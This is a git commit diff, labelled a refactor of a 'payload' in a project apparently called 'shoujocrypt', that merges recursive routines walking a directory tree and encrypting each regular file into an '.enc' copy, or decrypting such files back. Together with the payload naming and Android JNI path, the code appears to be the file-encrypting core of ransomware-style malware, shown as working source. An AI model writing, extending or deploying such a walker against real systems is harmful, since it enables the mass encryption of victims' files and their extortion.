refactor(payload): ai slop

Signed-off-by: manigohan <manigohan@national.shitposting.agency>

Author: manigohan

src/jni/shoujocrypt/utils/walk.c

@@ -6,7 +6,18 @@
 #include <cryptutils.h>
 #include <walk.h>
 
-void walk_and_encrypt(const char *path, const unsigned char *key) {
+// Helper to remove ".enc" suffix for decryption
+static void remove_enc_extension(const char *filename, char *output, size_t size) {
+    size_t len = strlen(filename);
+    if (len > 4 && strcmp(filename + len - 4, ".enc") == 0) {
+        snprintf(output, size, "%.*s", (int)(len - 4), filename);
+    } else {
+        snprintf(output, size, "%s", filename);
+    }
+}
+
+// Process each directory and apply encryption or decryption
+static void process_directory(const char *path, const unsigned char *key, int encrypt_mode) {
     DIR *dir = opendir(path);
     if (!dir) {
         perror("opendir failed");
@@ -28,47 +39,33 @@ void walk_and_encrypt(const char *path, const unsigned char *key) {
         }
 
         if (S_ISDIR(st.st_mode)) {
-            walk_and_encrypt(full_path, key);
+            process_directory(full_path, key, encrypt_mode);
         } else if (S_ISREG(st.st_mode)) {
-            // Create output path: append ".enc" to filename
             char output_path[1024];
-            snprintf(output_path, sizeof(output_path), "%s.enc", full_path);
 
-            printf("Encrypting: %s -> %s\n", full_path, output_path);
-            encrypt_file(full_path, output_path, key);
+            if (encrypt_mode) {
+                // Encryption: Append ".enc" extension
+                snprintf(output_path, sizeof(output_path), "%s.enc", full_path);
+                printf("Encrypting: %s -> %s\n", full_path, output_path);
+                encrypt_file(full_path, output_path, key);
+            } else {
+                // Decryption: Remove ".enc" extension
+                remove_enc_extension(full_path, output_path, sizeof(output_path));
+                printf("Decrypting: %s -> %s\n", full_path, output_path);
+                decrypt_file(full_path, output_path, key);
+            }
         }
     }
 
     closedir(dir);
 }
 
-void walk_and_decrypt(const char *path, const unsigned char *key) {
-    DIR *dir = opendir(path);
-    if (!dir) {
-        perror("opendir failed");
-        return;
-    }
-
-    struct dirent *entry;
-    while ((entry = readdir(dir))) {
-        if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0)
-            continue;
-
-        char full_path[1024];
-        snprintf(full_path, sizeof(full_path), "%s/%s", path, entry->d_name);
-
-        struct stat st;
-        if (stat(full_path, &st) == -1) {
-            perror("stat failed");
-            continue;
-        }
-
-        if (S_ISDIR(st.st_mode)) {
-            walk_and_encrypt(full_path, key);
-        } else if (S_ISREG(st.st_mode)) {
-            decrypt_file(full_path, full_path, key);
-        }
-    }
+// Encrypt all files in the given directory
+void walk_and_encrypt(const char *path, const unsigned char *key) {
+    process_directory(path, key, 1);
+}
 
-    closedir(dir);
-}
+// Decrypt all files in the given directory
+void walk_and_decrypt(const char *path, const unsigned char *key) {
+    process_directory(path, key, 0);
+}